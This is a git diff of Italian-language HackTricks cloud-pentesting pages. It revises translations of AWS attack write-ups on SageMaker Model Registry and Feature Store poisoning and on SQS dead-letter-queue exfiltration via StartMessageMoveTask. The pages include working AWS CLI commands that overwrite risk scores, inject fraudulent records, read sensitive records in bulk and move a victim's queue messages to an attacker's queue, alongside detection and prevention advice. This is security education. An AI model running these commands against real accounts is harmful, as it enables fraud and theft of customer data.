||||
@@ -162,17 +162,17 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Verifica che la nuova versione approvata esista
|
||||
4) Verificare che esista la nuova versione Approved
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impatto
|
||||
- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le pipeline che auto-deploy le Approved models potrebbero pullare ed eseguire l'immagine dell'attaccante, causando esecuzione di codice con i ruoli di endpoint/training.
|
||||
- Con una permissiva ModelPackageGroup resource policy (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account.
|
||||
- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le Pipelines che distribuiscono automaticamente modelli Approved possono scaricare ed eseguire l'immagine dell'attaccante, causando l'esecuzione di codice con i ruoli endpoint/training.
|
||||
- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato tra account.
|
||||
|
||||
## Avvelenamento del Feature store
|
||||
## Avvelenamento del Feature Store
|
||||
|
||||
Abusare di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumate dall'online inference. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.
|
||||
Abusa di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature in tempo reale utilizzati dall'inferenza online. In combinazione con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
|
||||
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Sfruttare `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere valori di feature live consumati dall'inferenza in tempo reale. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Ciò non richiede l'accesso a modelli o endpoint.
|
||||
Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'online inference. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.
|
||||
|
||||
## Requirements
|
||||
## Requisiti
|
||||
- Permessi: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale)
|
||||
- Complessità: **LOW** - Comandi AWS CLI semplici, non è richiesta la manipolazione dei modelli
|
||||
- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto di inferenza in tempo reale)
|
||||
- Complessità: **BASSA** - Comandi AWS CLI semplici, nessuna manipolazione del modello richiesta
|
||||
|
||||
## Steps
|
||||
## Passaggi
|
||||
|
||||
### Reconnaissance
|
||||
### Ricognizione
|
||||
|
||||
1) Elencare le Feature Groups con OnlineStore abilitato
|
||||
1) Elencare i Feature Group con OnlineStore abilitato
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -21,16 +21,16 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Descrivere un Feature Group di destinazione per comprenderne lo schema
|
||||
2) Descrivere un target Feature Group per capire il suo schema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName` e tutte le definizioni delle feature. Sono necessari per creare record validi.
|
||||
Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName` e tutte le definizioni delle feature. Questi sono necessari per creare record validi.
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Scenario d'attacco 1: Data Poisoning (Sovrascrivere i record esistenti)
|
||||
|
||||
1) Leggi il record legittimo corrente
|
||||
```bash
|
||||
@@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Avvelena il record con valori malevoli usando il parametro inline `--record`
|
||||
2) Avvelena il record con valori maligni usando il parametro inline `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Verificare i dati avvelenati
|
||||
3) Verifica i dati avvelenati
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impatto**: I modelli ML che utilizzano questa feature ora vedranno `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi.
|
||||
**Impatto**: I modelli ML che consumano questa feature vedranno ora `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le loro transazioni o servizi.
|
||||
|
||||
### Scenario di attacco 2: Iniezione di dati malevoli (Creare record fraudolenti)
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Iniettare record completamente nuovi con feature manipolate per eludere i controlli di sicurezza:
|
||||
Inietta record completamente nuovi con feature manipolate per eludere i controlli di sicurezza:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impatto**: L'attaccante crea un'identità fittizia con un punteggio di rischio basso (0.01) che può effettuare transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi.
|
||||
**Impatto**: L'attaccante crea un'identità falsa con un punteggio di rischio basso (0.01) che può effettuare transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi.
|
||||
|
||||
### Scenario di attacco 3: Sensitive Data Exfiltration
|
||||
### Attack Scenario 3: Sensitive Data Exfiltration
|
||||
|
||||
Leggere più record per estrarre caratteristiche confidenziali e profilare il comportamento del modello:
|
||||
Leggere più record per estrarre feature confidenziali e profilare il comportamento del modello:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -106,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impatto**: caratteristiche confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte all'attaccante.
|
||||
**Impact**: Caratteristiche confidenziali (punteggi di rischio, schemi di transazione, dati personali) esposte all'attaccante.
|
||||
|
||||
### Creazione di Feature Group per test/demo (Opzionale)
|
||||
### Creazione di un Feature Group di test/demo (Opzionale)
|
||||
|
||||
Se devi creare un Feature Group di test:
|
||||
Se hai bisogno di creare un Feature Group di test:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
@@ -143,6 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Riferimenti
|
||||
- [Documentazione AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Best practice di sicurezza per Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,55 +1,55 @@
|
||||
# AWS – SQS DLQ Esfiltrazione Redrive tramite StartMessageMoveTask
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descrizione
|
||||
## Description
|
||||
|
||||
Abusa dei task di spostamento dei messaggi SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo.
|
||||
Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli a una coda controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recupero dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo.
|
||||
|
||||
## Cos'è una Dead-Letter Queue (DLQ)?
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono inviati automaticamente quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono:
|
||||
Una Dead-Letter Queue è una coda SQS speciale dove i messaggi vengono inviati automaticamente quando non vengono processati correttamente dall'applicazione principale. Questi messaggi falliti spesso contengono:
|
||||
- Dati sensibili dell'applicazione che non sono stati processati
|
||||
- Dettagli di errore e informazioni di debugging
|
||||
- Informazioni di identificazione personale (PII)
|
||||
- Token API, credenziali o altri segreti
|
||||
- Dati di transazioni critiche per il business
|
||||
- Dettagli di errore e informazioni di debug
|
||||
- Personal Identifiable Information (PII)
|
||||
- API token, credenziali o altri segreti
|
||||
- Dati di transazioni business-critical
|
||||
|
||||
Le DLQ fungono da "cimitero" per i messaggi falliti, rendendole obiettivi di valore poiché accumulano dati sensibili nel tempo che le applicazioni non sono state in grado di gestire correttamente.
|
||||
Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
|
||||
|
||||
## Scenario d'attacco
|
||||
## Attack Scenario
|
||||
|
||||
**Esempio reale:**
|
||||
1. **Un'applicazione e-commerce** processa ordini dei clienti tramite SQS
|
||||
2. **Alcuni ordini falliscono** (problemi di pagamento, scorte, ecc.) e vengono spostati in una DLQ
|
||||
3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **L'attaccante ottiene accesso** a credenziali AWS con permessi SQS
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** processa gli ordini dei clienti tramite SQS
|
||||
2. **Alcuni ordini falliscono** (problemi di pagamento, problemi di inventario, ecc.) e vengono spostati in una DLQ
|
||||
3. **La DLQ si accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **L'attaccante ottiene l'accesso** alle credenziali AWS con permessi SQS
|
||||
5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
|
||||
6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria queue
|
||||
7. **L'attaccante estrae** tutti i dati storici sensibili in un'unica operazione
|
||||
6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria coda
|
||||
7. **L'attaccante estrae** tutti i dati sensibili storici in un'unica operazione
|
||||
|
||||
## Requisiti
|
||||
- La source queue deve essere configurata come DLQ (referenziata da almeno una queue RedrivePolicy).
|
||||
## Requirements
|
||||
- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di una coda).
|
||||
- Permessi IAM (eseguito come il principal vittima compromesso):
|
||||
- Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Sulla destination queue: permesso di consegnare messaggi (es. policy della queue che permette `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente consentito di default.
|
||||
- Se SSE-KMS è abilitato: sulla CMK della sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
- Sulla coda di destinazione: permesso di consegnare messaggi (es. una queue policy che permetta `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente permesso di default.
|
||||
- Se SSE-KMS è abilitato: sulla CMK sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impatto
|
||||
Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload dell'applicazione) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della queue di destinazione permette `SendMessage` dal principal vittima.
|
||||
## Impact
|
||||
Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la queue policy di destinazione permette `SendMessage` dal principal vittima.
|
||||
|
||||
## Come abusare
|
||||
## How to Abuse
|
||||
|
||||
- Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
|
||||
- Creare o scegliere una destination queue controllata dall'attaccante e ottenere il suo ARN.
|
||||
- Avviare un message move task dalla DLQ vittima alla tua destination queue.
|
||||
- Monitorare il progresso o cancellare se necessario.
|
||||
- Identifica l'ARN della DLQ vittima e assicurati che sia effettivamente referenziata come DLQ da qualche coda (qualsiasi coda va bene).
|
||||
- Crea o scegli una coda di destinazione controllata dall'attaccante e ottieni il suo ARN.
|
||||
- Avvia un message move task dalla DLQ vittima alla tua coda di destinazione.
|
||||
- Monitora il progresso o annulla se necessario.
|
||||
|
||||
### CLI Example: Esfiltrazione di dati clienti dal DLQ di e-commerce
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processare ordini dei clienti.
|
||||
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di elaborazione degli ordini dei clienti.
|
||||
|
||||
1) **Scoprire ed esaminare la DLQ della vittima**
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -115,21 +115,21 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Note tra account
|
||||
- La queue di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se usato, concessioni/permessi KMS).
|
||||
### Note cross-account
|
||||
- La destination queue deve avere una resource policy che consenta al victim principal di `sqs:SendMessage` (e, se usati, KMS grants/permissions).
|
||||
|
||||
## Perché questo attacco è efficace
|
||||
|
||||
1. **Funzionalità AWS legittima**: Sfrutta funzionalità AWS integrate, rendendo difficile rilevarlo come attività malevole
|
||||
2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di accessi individuali lenti
|
||||
3. **Dati storici**: Le DLQ accumulano dati sensibili nel corso di settimane/mesi
|
||||
1. **Funzionalità AWS legittima**: Usa funzionalità integrate di AWS, rendendo difficile rilevarlo come attività malevola
|
||||
2. **Operazione in blocco**: Trasferisce migliaia di messaggi rapidamente invece di accessi lenti e individuali
|
||||
3. **Dati storici**: Le DLQs accumulano dati sensibili per settimane/mesi
|
||||
4. **Sotto il radar**: Molte organizzazioni non monitorano attentamente l'accesso alle DLQ
|
||||
5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo consentono
|
||||
|
||||
## Rilevamento e prevenzione
|
||||
|
||||
### Rilevamento
|
||||
Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
|
||||
Monitorare CloudTrail per chiamate API `StartMessageMoveTask` sospette:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -145,10 +145,10 @@ Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
|
||||
}
|
||||
```
|
||||
### Prevenzione
|
||||
1. **Principio del minimo privilegio**: Restrict `sqs:StartMessageMoveTask` permissions to only necessary roles
|
||||
2. **Monitorare le DLQs**: Imposta allarmi CloudWatch per attività DLQ anomale
|
||||
3. **Politiche cross-account**: Rivedi attentamente le policy delle code SQS che consentono accesso cross-account
|
||||
4. **Cripta le DLQs**: Usa SSE-KMS con policy di chiavi ristrette
|
||||
1. **Privilegio minimo**: Restringere i permessi `sqs:StartMessageMoveTask` solo ai ruoli necessari
|
||||
2. **Monitorare le DLQs**: Configurare allarmi CloudWatch per attività anomale delle DLQs
|
||||
3. **Policy cross-account**: Revisionare attentamente le policy delle code SQS che consentono accesso cross-account
|
||||
4. **Crittografare le DLQs**: Usare SSE-KMS con policy delle chiavi ristrette
|
||||
5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino nelle DLQs indefinitamente
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user